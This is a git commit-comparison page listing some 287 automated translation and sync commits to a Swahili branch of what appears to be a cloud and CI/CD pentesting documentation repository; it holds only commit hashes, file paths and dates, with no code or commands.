Compare commits

..

287 Commits
master ... sw

Author SHA1 Message Date
Translator
be5043d6fb Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation 2025-12-08 11:37:52 +00:00
Translator
c0b3b29db6 Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act 2025-12-07 15:56:12 +00:00
Translator
fddd136bd6 Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act 2025-12-07 11:47:33 +00:00
Translator
18ab1977bb Sync SUMMARY.md with master 2025-12-04 10:38:42 +00:00
Translator
1a63491ec5 Translated ['src/pentesting-cloud/azure-security/az-services/az-ai-found 2025-12-04 10:38:41 +00:00
Translator
2ad920b64e Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala 2025-11-30 12:28:04 +00:00
Translator
751f3a164e Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala 2025-11-28 09:47:34 +00:00
Translator
5dc980a9e2 Sync SUMMARY.md with master 2025-11-26 17:26:43 +00:00
Translator
853afa9f1c Sync SUMMARY.md with master 2025-11-26 17:24:49 +00:00
Translator
61c31de88a Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/ 2025-11-26 17:24:47 +00:00
carlospolop
040c904626 Sync theme/ with master 2025-11-25 10:16:15 +01:00
carlospolop
880187dd49 Sync hacktricks-preprocessor.py with master (mdbook 0.5.x fix) 2025-11-24 23:43:00 +01:00
Translator
a38c7473c8 Translated ['', 'src/pentesting-cloud/aws-security/aws-unauthenticated-e 2025-11-24 22:33:26 +00:00
Translator
6f5ae06196 Translated ['', 'src/pentesting-cloud/aws-security/aws-unauthenticated-e 2025-11-24 21:40:36 +00:00
carlospolop
bcffcfa72e Sync book.toml with master 2025-11-24 17:32:39 +01:00
Translator
6adac92871 Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat 2025-11-24 10:26:08 +00:00
Translator
ed1e1ebfd0 Sync SUMMARY.md with master 2025-11-22 20:27:31 +00:00
Translator
af121b70c7 Sync SUMMARY.md with master 2025-11-22 20:25:32 +00:00
Translator
7e52dc911b Translated ['src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud 2025-11-22 20:25:30 +00:00
Translator
16367d35a5 Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala 2025-11-19 17:18:17 +00:00
Translator
b473b823fd Translated ['src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigta 2025-11-19 14:47:50 +00:00
Translator
2b5af604d7 Translated ['', 'src/pentesting-ci-cd/terraform-security.md'] to sw 2025-11-17 15:47:58 +00:00
Translator
db44f55b12 Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-har 2025-11-17 12:19:20 +00:00
Translator
e0ec2bc87d Sync SUMMARY.md with master 2025-11-15 16:37:32 +00:00
Translator
5cf2343001 Translated ['src/pentesting-cloud/pentesting-cloud-methodology.md', 'src 2025-11-15 16:37:31 +00:00
Translator
80a672f70b Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat 2025-11-15 11:48:46 +00:00
Translator
ce3b9aa888 Translated ['', 'src/pentesting-cloud/aws-security/aws-unauthenticated-e 2025-11-01 11:06:34 +00:00
Translator
fd341e9e6f Translated ['', 'src/pentesting-cloud/azure-security/az-lateral-movement 2025-11-01 11:01:06 +00:00
Translator
e4b7516ce1 Translated ['src/pentesting-ci-cd/docker-build-context-abuse.md', 'src/p 2025-10-25 22:32:06 +00:00
Translator
9c04b6eb8d Fix unmatched refs 2025-10-25 22:27:04 +00:00
Translator
50d1844fdf Sync SUMMARY.md with master 2025-10-25 16:14:09 +00:00
Translator
09a53f9b82 Translated ['src/pentesting-ci-cd/pentesting-ci-cd-methodology.md', 'src 2025-10-25 16:14:08 +00:00
Translator
afa9b15d5b Sync SUMMARY.md with master 2025-10-25 15:56:16 +00:00
Translator
1b9d14a954 Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation 2025-10-25 15:56:15 +00:00
Translator
063a8a8b5a Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-10-23 21:53:52 +00:00
Translator
b372d79dc7 Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-10-23 21:00:44 +00:00
Translator
ecab338f4d Sync SUMMARY.md with master 2025-10-23 15:03:08 +00:00
Translator
5b597d3759 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-10-23 15:03:06 +00:00
Translator
bea68191d6 Sync SUMMARY.md with master 2025-10-23 13:47:19 +00:00
Translator
40e8795203 Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-10-23 13:47:18 +00:00
Translator
d8c8ab55bf Sync SUMMARY.md with master 2025-10-23 13:18:32 +00:00
Translator
63db850d7b Translated ['src/pentesting-cloud/aws-security/aws-services/README.md', 2025-10-23 13:18:30 +00:00
Translator
9972d058bb Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation 2025-10-23 13:12:25 +00:00
Translator
3bb5199e4c Translated ['src/pentesting-cloud/aws-security/aws-services/aws-sagemake 2025-10-23 11:00:28 +00:00
Translator
49c5540cea Fix unmatched refs 2025-10-23 10:55:13 +00:00
Translator
43bfed651a Fix unmatched refs 2025-10-23 10:51:03 +00:00
Translator
d79bfbb2f3 Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-10-17 15:55:25 +00:00
Translator
43c9bb6647 Fix unmatched refs 2025-10-17 15:39:07 +00:00
Translator
b53875a41b Sync SUMMARY.md with master 2025-10-14 02:27:39 +00:00
Translator
9cf83ea095 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-10-14 02:27:37 +00:00
Translator
ce65960514 Fix unmatched refs 2025-10-09 10:28:36 +00:00
Translator
af513ad83a Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-10-07 15:42:10 +00:00
Translator
24cbdba0b4 Fix unmatched refs 2025-10-07 15:30:09 +00:00
Translator
70a857795a Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation 2025-10-07 09:25:56 +00:00
Translator
93c5edcc1e Sync SUMMARY.md with master 2025-10-06 23:09:29 +00:00
Translator
4e8541e2e8 Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-lambd 2025-10-06 23:09:27 +00:00
Translator
1f08c5901c Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation 2025-10-06 11:28:03 +00:00
Translator
9ec52c1353 Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat 2025-10-06 10:00:59 +00:00
Translator
e5d730dcec Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation 2025-10-04 09:12:46 +00:00
Translator
de769a29e7 Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation 2025-10-01 10:29:04 +00:00
Translator
47b26dfc88 Translated ['', 'src/README.md'] to sw 2025-10-01 10:08:00 +00:00
Translator
ab7d5d1045 Update searchindex (purged history; keep current) 2025-09-30 22:06:03 +00:00
Translator
edcc67eaa0 Sync SUMMARY.md with master 2025-09-30 19:23:18 +00:00
Translator
cfff9871ad Translated ['src/pentesting-ci-cd/chef-automate-security/chef-automate-e 2025-09-30 19:23:14 +00:00
Translator
4e6091c5d4 Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat 2025-09-30 19:16:40 +00:00
Translator
18dd516d37 Translated ['', 'src/pentesting-cloud/kubernetes-security/attacking-kube 2025-09-29 23:49:05 +00:00
Translator
fc85b294ae Sync SUMMARY.md with master 2025-09-29 23:25:01 +00:00
Translator
dee67c81d1 Translated ['src/pentesting-cloud/azure-security/az-basic-information/az 2025-09-29 23:24:52 +00:00
Translator
408c51515c Translated ['', 'src/pentesting-ci-cd/supabase-security.md'] to sw 2025-09-29 23:06:46 +00:00
Translator
f6380363a7 Sync SUMMARY.md with master 2025-09-29 22:57:54 +00:00
Translator
cb1a6e00d7 Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/REA 2025-09-29 22:49:25 +00:00
Translator
11a8930985 Translated ['', 'src/pentesting-ci-cd/github-security/basic-github-infor 2025-09-29 22:41:50 +00:00
Translator
3c3c084692 Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act 2025-09-29 21:54:26 +00:00
Translator
c5691b1cf5 Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/REA 2025-09-29 21:18:47 +00:00
Translator
16d43f5679 Translated ['', 'src/pentesting-ci-cd/pentesting-ci-cd-methodology.md', 2025-09-04 23:49:02 +00:00
Translator
1522e4650b Translated ['src/pentesting-ci-cd/pentesting-ci-cd-methodology.md', 'src 2025-08-31 08:23:22 +00:00
Translator
27eec4db60 Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat 2025-08-31 08:14:07 +00:00
Translator
0123c3db44 Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-piv 2025-08-28 18:03:00 +00:00
Translator
011a9cd051 Translated ['', 'src/pentesting-cloud/azure-security/az-lateral-movement 2025-08-25 21:26:10 +00:00
Translator
25d5d402f6 Translated ['src/pentesting-cloud/azure-security/az-services/az-containe 2025-08-21 00:25:51 +00:00
Translator
490563643f Translated ['src/pentesting-ci-cd/terraform-security.md'] to sw 2025-08-19 15:26:03 +00:00
carlospolop
7ed0b8f791 f 2025-08-19 17:19:28 +02:00
Translator
2a133186d5 Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-08-18 14:56:10 +00:00
Translator
c4ddde3ffe Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-08-18 14:52:30 +00:00
Translator
026037a8e7 Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/ 2025-08-18 14:44:26 +00:00
Translator
ddf899f0f0 Translated ['src/pentesting-cloud/aws-security/aws-services/aws-cognito- 2025-08-18 14:40:07 +00:00
Translator
90b1955962 Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/ 2025-08-18 14:26:10 +00:00
Translator
bea7f12f2d Translated ['src/pentesting-cloud/aws-security/aws-services/aws-cognito- 2025-08-18 14:20:44 +00:00
Translator
dd84da71d4 Translated ['src/pentesting-cloud/azure-security/az-services/az-keyvault 2025-08-04 09:31:49 +00:00
Translator
7245403c07 Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo 2025-08-01 10:16:13 +00:00
Translator
db09b8321d Translated ['src/pentesting-ci-cd/ansible-tower-awx-automation-controlle 2025-08-01 10:13:28 +00:00
Translator
4ce9a4f549 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-08-01 09:45:51 +00:00
Translator
ef48751a4c Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo 2025-07-30 04:42:26 +00:00
Translator
438750d169 Translated ['src/pentesting-cloud/azure-security/az-device-registration. 2025-07-30 04:16:44 +00:00
Translator
d338965e77 Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo 2025-07-30 04:11:51 +00:00
Translator
2684e3904b Translated ['src/pentesting-cloud/azure-security/az-device-registration. 2025-07-30 04:08:48 +00:00
Translator
f5e0559aac Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo 2025-07-29 16:04:06 +00:00
Translator
d6ad0a80fd Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo 2025-07-24 11:26:16 +00:00
Translator
7c9c3a2fcb Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-p 2025-07-24 06:56:34 +00:00
Translator
83b121c868 Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-p 2025-07-24 06:50:21 +00:00
Translator
0a1b569d11 Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo 2025-07-23 22:09:25 +00:00
Translator
760190eb0d Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sagem 2025-07-22 19:00:51 +00:00
Translator
63015f6547 Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sagem 2025-07-22 12:36:10 +00:00
Translator
f7e18a4d3b Translated ['src/pentesting-cloud/azure-security/az-services/az-keyvault 2025-07-12 14:23:55 +00:00
Translator
4dfb0d5ef5 Translated ['src/pentesting-cloud/aws-security/aws-services/aws-kms-enum 2025-07-07 09:55:26 +00:00
Translator
35fcc1574d Translated ['src/pentesting-cloud/aws-security/aws-services/aws-kms-enum 2025-07-03 14:55:00 +00:00
Translator
b73eec810c Translated ['src/pentesting-ci-cd/github-security/abusing-github-actions 2025-06-25 00:23:36 +00:00
Translator
48a69fb503 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-06-24 14:06:51 +00:00
Translator
3c5d281ffe Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-06-24 14:00:32 +00:00
Translator
c0b2f40b7e Translated ['src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum- 2025-06-10 12:37:11 +00:00
Translator
0b494e4c22 Translated ['src/README.md'] to sw 2025-05-20 15:40:09 +00:00
Translator
cac0321509 Translated ['src/pentesting-cloud/azure-security/az-services/az-misc.md' 2025-05-20 15:32:59 +00:00
Translator
869acaaf4c Translated ['src/pentesting-cloud/azure-security/az-services/az-misc.md' 2025-05-20 15:18:33 +00:00
Translator
16570c6cfc Translated ['src/pentesting-cloud/workspace-security/gws-workspace-sync- 2025-05-20 06:05:10 +00:00
Translator
6ffd503501 Translated ['src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting 2025-05-17 05:01:14 +00:00
Translator
43d13fe876 Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud 2025-05-14 13:51:52 +00:00
Translator
495053274b Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud 2025-05-12 19:25:38 +00:00
Translator
74175eeacb Translated ['src/pentesting-cloud/azure-security/az-basic-information/az 2025-05-11 15:09:07 +00:00
Translator
590c916346 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-05-09 12:43:54 +00:00
Translator
f8f7029fe2 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-05-09 11:47:48 +00:00
Translator
28516c8407 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-05-09 11:45:42 +00:00
Translator
a021d3ecfb Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-05-09 11:19:36 +00:00
Translator
ad833c4e66 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-05-01 11:39:58 +00:00
Translator
57b5e056aa Translated ['src/pentesting-cloud/aws-security/aws-unauthenticated-enum- 2025-04-30 15:35:57 +00:00
Translator
35d972adc8 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-04-30 15:31:48 +00:00
Translator
5b3993dbe6 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-04-21 21:02:19 +00:00
Translator
44c74885fd Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus 2025-04-14 22:07:05 +00:00
Translator
c4a806f553 Translated ['src/banners/hacktricks-training.md'] to sw 2025-04-14 22:00:43 +00:00
Translator
2fcd5a75a4 Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus 2025-04-13 14:33:48 +00:00
Translator
5ac14e3f83 Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA 2025-04-11 00:29:03 +00:00
Translator
db42c74fc4 Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-cloud 2025-04-07 01:29:15 +00:00
Translator
e52e22e216 Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA 2025-04-07 01:19:36 +00:00
Translator
7ae966dd3f Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-04-03 20:32:56 +00:00
Translator
10fa1b20fb Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-04-03 20:29:43 +00:00
Translator
245b96165e Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-04-03 13:47:31 +00:00
Translator
1f84d66cf3 Update searchindex for sw 2025-04-02 15:54:01 +00:00
Translator
294541fc7d Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az 2025-04-02 15:53:29 +00:00
Translator
a72f2e6192 Update searchindex for sw 2025-03-29 23:01:13 +00:00
Translator
14489959ab Update searchindex for sw 2025-03-29 08:43:40 +00:00
Translator
ddc342d85b Update searchindex for sw 2025-03-28 15:53:30 +00:00
Translator
3511b11073 Update searchindex for sw 2025-03-28 11:25:09 +00:00
Translator
a0abe69397 Update searchindex for sw 2025-03-28 10:47:27 +00:00
Translator
ff496126f4 Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-03-28 10:47:05 +00:00
Translator
af7ce48de2 Update searchindex for sw 2025-03-27 12:45:25 +00:00
Translator
0727fced7a Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-03-27 12:45:06 +00:00
Translator
f73ab42cac Update searchindex for sw 2025-03-21 09:34:01 +00:00
Translator
fa8e49d2f9 Translated ['src/pentesting-cloud/azure-security/az-services/az-defender 2025-03-21 09:33:30 +00:00
Translator
0c0e1ab95b Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA 2025-03-21 09:24:16 +00:00
Translator
cd9b379005 Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA 2025-03-21 09:11:05 +00:00
Translator
9252f39fd4 Translated ['src/pentesting-cloud/azure-security/az-services/az-sql.md'] 2025-03-21 09:03:38 +00:00
Translator
76d2398588 Update searchindex for sw 2025-03-18 05:49:00 +00:00
Translator
c02b0c2aa4 Update searchindex for sw 2025-03-17 11:56:52 +00:00
Translator
f4cb5914d8 Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA 2025-03-17 03:52:00 +00:00
Translator
5ecd58bb8a Translated ['src/pentesting-cloud/azure-security/README.md'] to sw 2025-03-04 22:09:33 +00:00
Translator
8fbc8bb9b5 Update searchindex for sw 2025-03-02 12:55:15 +00:00
Translator
3d220f4214 Update searchindex for sw 2025-03-02 00:21:29 +00:00
Translator
853ae1a34c Update searchindex for sw 2025-02-26 16:08:36 +00:00
Translator
7a9cbc990b Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az 2025-02-26 16:08:12 +00:00
Translator
e6915e1e7a Update searchindex for sw 2025-02-26 01:02:23 +00:00
Translator
0b313622f1 Translated ['src/pentesting-cloud/azure-security/az-services/az-sql.md'] 2025-02-26 01:02:06 +00:00
Translator
822819bcd1 Translated ['src/pentesting-cloud/azure-security/az-services/az-queue.md 2025-02-26 00:41:38 +00:00
Translator
bec4c4334d Translated ['src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting 2025-02-26 00:22:24 +00:00
Translator
ebb9177b95 Translated ['src/pentesting-cloud/azure-security/az-persistence/az-queue 2025-02-25 23:33:55 +00:00
Translator
80967b5eec Translated ['src/pentesting-cloud/azure-security/az-persistence/az-sql-p 2025-02-25 23:16:21 +00:00
Translator
abe0ee6f68 Translated ['src/pentesting-cloud/azure-security/az-persistence/az-logic 2025-02-25 22:39:19 +00:00
Translator
fb80867d2f Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-02-25 22:37:46 +00:00
Translator
f3453697ad Translated ['src/pentesting-cloud/azure-security/az-services/az-containe 2025-02-25 22:31:04 +00:00
Translator
019489e59d Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-02-25 22:08:53 +00:00
Translator
aa5509e3d5 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-02-25 21:58:00 +00:00
Translator
b65d7fb277 Update searchindex for sw 2025-02-25 05:09:05 +00:00
Translator
0571e26be1 Update searchindex for sw 2025-02-24 10:29:58 +00:00
Translator
7fe9a3506a Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az 2025-02-22 16:16:03 +00:00
Translator
d4bc73c86e Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az 2025-02-22 12:48:38 +00:00
Translator
9eb4f1819b Update searchindex for sw 2025-02-21 23:33:51 +00:00
Translator
c3bf39d3fc Translated ['src/pentesting-cloud/azure-security/az-services/az-cloud-sh 2025-02-21 13:57:27 +00:00
Translator
c2f71e612a Translated ['src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-s 2025-02-21 11:05:14 +00:00
Translator
67a902b5c8 Update searchindex for sw 2025-02-21 11:03:06 +00:00
Translator
e85437dc6c Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az 2025-02-20 23:14:43 +00:00
Translator
acafe4bc3c Update searchindex for sw 2025-02-20 12:10:13 +00:00
Translator
65611c8d09 Update searchindex for sw 2025-02-20 01:00:19 +00:00
Translator
eb16e37059 Translated ['src/pentesting-cloud/azure-security/az-persistence/az-queue 2025-02-20 00:58:55 +00:00
Translator
d1e964b255 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-02-20 00:44:44 +00:00
Translator
de51266bd5 Update searchindex for sw 2025-02-19 01:29:33 +00:00
Translator
36bbf1c1a0 Update searchindex for sw 2025-02-18 11:19:01 +00:00
Translator
862ad33fe9 Translated ['src/pentesting-cloud/azure-security/az-services/az-serviceb 2025-02-17 20:57:29 +00:00
Translator
aa0b7c76ba Update searchindex for sw 2025-02-17 18:27:16 +00:00
Translator
4d81e00a8b Translated ['src/pentesting-cloud/azure-security/az-persistence/az-autom 2025-02-17 18:21:38 +00:00
Translator
df5a20e9be Translated ['src/pentesting-cloud/aws-security/aws-services/aws-organiza 2025-02-17 17:15:36 +00:00
Translator
5b7f9158af Translated ['src/pentesting-cloud/aws-security/aws-services/aws-organiza 2025-02-17 12:02:32 +00:00
Translator
39733fdc5c Update searchindex for sw 2025-02-17 10:56:00 +00:00
Translator
e1d4c5cfcc Update searchindex for sw 2025-02-16 17:27:16 +00:00
Translator
8e7a7a05dc Update searchindex for sw 2025-02-15 17:50:28 +00:00
Translator
cb44145d84 Update searchindex for sw 2025-02-15 15:25:21 +00:00
Translator
5c382142bb Update searchindex for sw 2025-02-15 03:25:31 +00:00
Translator
07d86ce826 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-02-15 03:25:16 +00:00
Translator
04c254e6a5 Update searchindex for sw 2025-02-15 02:02:14 +00:00
Translator
a3c0d6fd2e Translated ['src/pentesting-cloud/azure-security/az-unauthenticated-enum 2025-02-15 02:01:55 +00:00
Translator
bd06085ad9 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-02-15 01:18:37 +00:00
Translator
490891af24 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-02-15 01:16:08 +00:00
Translator
7aa473dc6b Update searchindex for sw 2025-02-14 18:19:57 +00:00
Translator
8457f22f1d Update searchindex for sw 2025-02-14 16:20:11 +00:00
Translator
f7556bdaba Update searchindex for sw 2025-02-14 15:44:20 +00:00
Translator
725a6556e1 Update searchindex for sw 2025-02-13 17:46:01 +00:00
Translator
179fd5f599 Update searchindex for sw 2025-02-13 10:02:09 +00:00
Translator
e586a36837 Update searchindex for sw 2025-02-13 09:54:58 +00:00
Translator
312cfc59e4 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-02-13 09:54:40 +00:00
Translator
d6fcdd8cb3 Update searchindex for sw 2025-02-12 17:23:19 +00:00
Translator
3c8a952f92 Update searchindex for sw 2025-02-12 17:08:28 +00:00
Translator
1475b66098 Update searchindex for sw 2025-02-12 14:39:30 +00:00
Translator
3c4de751e2 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-02-12 14:39:13 +00:00
Translator
f6ce4b0bbb Update searchindex for sw 2025-02-12 14:27:36 +00:00
Translator
d29b585956 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-02-12 14:27:18 +00:00
Translator
1d46ffc316 Update searchindex for sw 2025-02-12 13:50:45 +00:00
Translator
8728d59e6b Translated ['src/pentesting-cloud/azure-security/az-services/az-automati 2025-02-12 13:50:27 +00:00
Translator
5325c4dbbf Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-02-12 13:38:51 +00:00
Translator
944ee082a4 Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA 2025-02-11 17:17:08 +00:00
Translator
fef4857c76 Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA 2025-02-10 23:50:28 +00:00
Translator
9b271b6a2c Translated ['src/pentesting-cloud/azure-security/az-basic-information/RE 2025-02-10 23:32:52 +00:00
Translator
de921ae01f Translated ['src/pentesting-cloud/azure-security/az-basic-information/RE 2025-02-10 00:25:02 +00:00
Translator
3cd8c14d03 Translated ['src/pentesting-cloud/azure-security/az-services/az-azuread. 2025-02-09 17:53:31 +00:00
Translator
633d280c94 Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud 2025-02-09 14:58:51 +00:00
Translator
7d2c1d2c1b Translated ['src/pentesting-cloud/azure-security/az-basic-information/RE 2025-02-08 19:00:25 +00:00
Translator
0bb5df16fa Translated ['src/pentesting-cloud/azure-security/az-basic-information/RE 2025-02-08 18:55:59 +00:00
Translator
5c8c718d98 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-02-08 18:25:17 +00:00
Translator
3eddbd844a Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-02-08 13:48:14 +00:00
Translator
2c186cb300 Translated ['src/pentesting-cloud/azure-security/README.md', 'src/pentes 2025-02-07 00:04:52 +00:00
Translator
6f882aa002 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-02-06 02:14:31 +00:00
Translator
bffbc9babb Translated ['src/pentesting-cloud/azure-security/az-basic-information/RE 2025-02-05 23:37:36 +00:00
Translator
7c695bc788 Translated ['src/pentesting-cloud/aws-security/aws-services/aws-efs-enum 2025-02-04 18:17:46 +00:00
Translator
1f90c62e98 Translated ['src/pentesting-cloud/aws-security/aws-services/aws-efs-enum 2025-02-02 18:22:49 +00:00
Translator
9b4fd0910c Translated ['src/pentesting-cloud/azure-security/az-services/az-file-sha 2025-01-29 11:34:46 +00:00
Translator
7376c8345a Translated ['src/pentesting-cloud/azure-security/az-services/az-azuread. 2025-01-27 14:21:22 +00:00
Translator
8e7b0962b3 Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-01-26 21:49:03 +00:00
Translator
dbded31bb1 Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/ 2025-01-26 21:46:24 +00:00
Translator
64c523ea70 Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud 2025-01-26 18:00:49 +00:00
Translator
55121b9a7e Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud 2025-01-26 15:17:37 +00:00
Translator
67b37d7a11 Translated ['src/pentesting-cloud/azure-security/README.md', 'src/pentes 2025-01-26 15:09:55 +00:00
Translator
91d7eb31ed Translated ['src/pentesting-cloud/aws-security/aws-services/aws-cognito- 2025-01-26 14:51:50 +00:00
Translator
1b0f7b5ed6 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-01-26 14:22:45 +00:00
Translator
bb30f4932e Translated ['src/pentesting-cloud/azure-security/az-unauthenticated-enum 2025-01-26 11:03:12 +00:00
Translator
dc5948e3d0 Translated ['src/pentesting-cloud/azure-security/README.md', 'src/pentes 2025-01-26 10:44:50 +00:00
Translator
ec16fd8f09 Translated ['src/pentesting-cloud/azure-security/README.md', 'src/pentes 2025-01-25 14:39:00 +00:00
Translator
1326dbb2de Translated ['src/pentesting-cloud/azure-security/az-services/az-cosmosDB 2025-01-22 23:09:45 +00:00
Translator
25f639e6cc Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus 2025-01-22 12:06:30 +00:00
Translator
07070af795 Translated ['src/pentesting-cloud/azure-security/az-services/az-cosmosDB 2025-01-22 09:53:26 +00:00
Translator
59335c9c21 Translated ['src/pentesting-cloud/kubernetes-security/kubernetes-enumera 2025-01-22 09:51:26 +00:00
Translator
2c0cae0424 Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sts-p 2025-01-21 17:40:50 +00:00
Translator
667457480c Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-01-12 18:44:28 +00:00
Translator
7343e45239 Translated ['src/pentesting-ci-cd/cloudflare-security/cloudflare-domains 2025-01-11 19:14:32 +00:00
Translator
1239c7fe7a Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-01-10 17:42:13 +00:00
Translator
f978a0a625 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-01-10 13:19:17 +00:00
Translator
e9fc723662 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-01-10 12:03:47 +00:00
Translator
73d9cdc1db Translated ['src/README.md'] to sw 2025-01-09 17:21:37 +00:00
Translator
5503915c9b Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az 2025-01-09 16:36:30 +00:00
Translator
c7e1c8492c Translated ['src/pentesting-cloud/azure-security/az-services/az-keyvault 2025-01-09 16:31:34 +00:00
Translator
48e61dc0bd Translated ['src/pentesting-cloud/gcp-security/gcp-permissions-for-a-pen 2025-01-09 14:47:48 +00:00
Translator
7cd759f413 Translated ['src/pentesting-cloud/azure-security/az-permissions-for-a-pe 2025-01-09 08:46:06 +00:00
Translator
e0ff2f9205 Translated ['src/pentesting-cloud/azure-security/az-enumeration-tools.md 2025-01-09 08:37:42 +00:00
Translator
0230c0bfa8 Translated ['README.md', 'src/pentesting-cloud/azure-security/az-service 2025-01-09 08:33:22 +00:00
Translator
ea7e8284d6 Translated ['src/pentesting-cloud/azure-security/az-services/az-static-w 2025-01-09 08:16:53 +00:00
Translator
bbd69e7771 Translated ['src/pentesting-cloud/azure-security/az-enumeration-tools.md 2025-01-09 08:11:44 +00:00
Translator
d5ea980f0e Translated ['src/pentesting-cloud/azure-security/az-enumeration-tools.md 2025-01-09 07:44:52 +00:00
Translator
